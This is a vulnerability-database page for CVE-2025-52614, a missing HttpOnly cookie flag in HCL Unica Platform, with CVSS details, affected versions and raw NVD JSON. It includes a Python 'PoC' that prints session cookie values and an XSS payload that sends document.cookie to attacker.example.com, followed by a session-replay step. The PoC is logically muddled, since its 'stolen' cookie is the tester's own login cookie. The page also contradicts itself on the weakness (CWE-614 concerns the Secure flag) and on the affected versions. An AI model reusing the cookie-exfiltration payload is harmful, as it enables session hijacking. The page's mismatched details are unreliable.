Security Vulnerability Report
中文
CVE-2025-52614 CVSS 3.5 LOW

CVE-2025-52614

Published: 2025-10-12 08:15:40
Last Modified: 2025-10-20 16:46:53

Description

HCL Unica Platform is affected by a Cookie without HTTPOnly Flag Set vulnerability. A malicious agent may be able to induce this event by feeding a user suitable links, either directly or via another web site.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltech:unica:*:*:*:*:*:*:*:* - VULNERABLE
HCL Unica Platform 12.1.0 及之前版本
HCL Unica Platform 12.0.x
HCL Unica Platform 11.1.x
HCL Unica Platform 10.1.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52614 PoC - Cookie without HTTPOnly Flag # This PoC demonstrates how to exploit the missing HTTPOnly flag on cookies import requests # Target URL of HCL Unica Platform TARGET_URL = "https://target-unica-platform.example.com" # Step 1: Login to the platform to obtain session cookie login_data = { "username": "valid_user", "password": "valid_password" } response = requests.post(f"{TARGET_URL}/login", data=login_data, allow_redirects=False) # Step 2: Check if HTTPOnly flag is set on the session cookie print("=== Cookie Analysis ===") for cookie in response.cookies: print(f"Cookie Name: {cookie.name}") print(f"Cookie Value: {cookie.value}") print(f"HTTPOnly Flag: {'SET' if cookie.has_nonstandard_attr('HttpOnly') else 'NOT SET (VULNERABLE)'}") print(f"Secure Flag: {'SET' if cookie.secure else 'NOT SET'}") print("---") # Step 3: Simulate XSS attack to steal cookie (if HTTPOnly is not set) # Malicious JavaScript payload that would be injected via XSS xss_payload = """ <script> // Since HTTPOnly flag is not set, JavaScript can access the cookie var cookie = document.cookie; // Exfiltrate the cookie to attacker's server new Image().src = "https://attacker.example.com/steal?c=" + encodeURIComponent(cookie); </script> """ print("\n=== XSS Payload (would be injected if XSS exists) ===") print(xss_payload) # Step 4: Attacker uses stolen cookie to impersonate user print("\n=== Session Hijacking ===") stolen_cookie = response.cookies.get("JSESSIONID") or response.cookies.get("sessionid") if stolen_cookie: print(f"Stolen session cookie: {stolen_cookie}") # Attacker can now use this cookie to access the platform as the victim attacker_session = requests.get( f"{TARGET_URL}/dashboard", cookies={"JSESSIONID": stolen_cookie} ) print(f"Attacker access status: {attacker_session.status_code}") print(f"Attacker can access authenticated content: {'YES' if attacker_session.status_code == 200 else 'NO'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52614", "sourceIdentifier": "[email protected]", "published": "2025-10-12T08:15:40.373", "lastModified": "2025-10-20T16:46:53.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica Platform is affected by a Cookie without HTTPOnly Flag Set vulnerability. A malicious agent may be able to induce this event by feeding a user suitable links, either directly or via another web site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-614"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:*:*:*:*:*:*:*:*", "versionEndIncluding": "25.1.0", "matchCriteriaId": "B287D9C3-B8E1-4988-864C-855E14105538"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124417", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}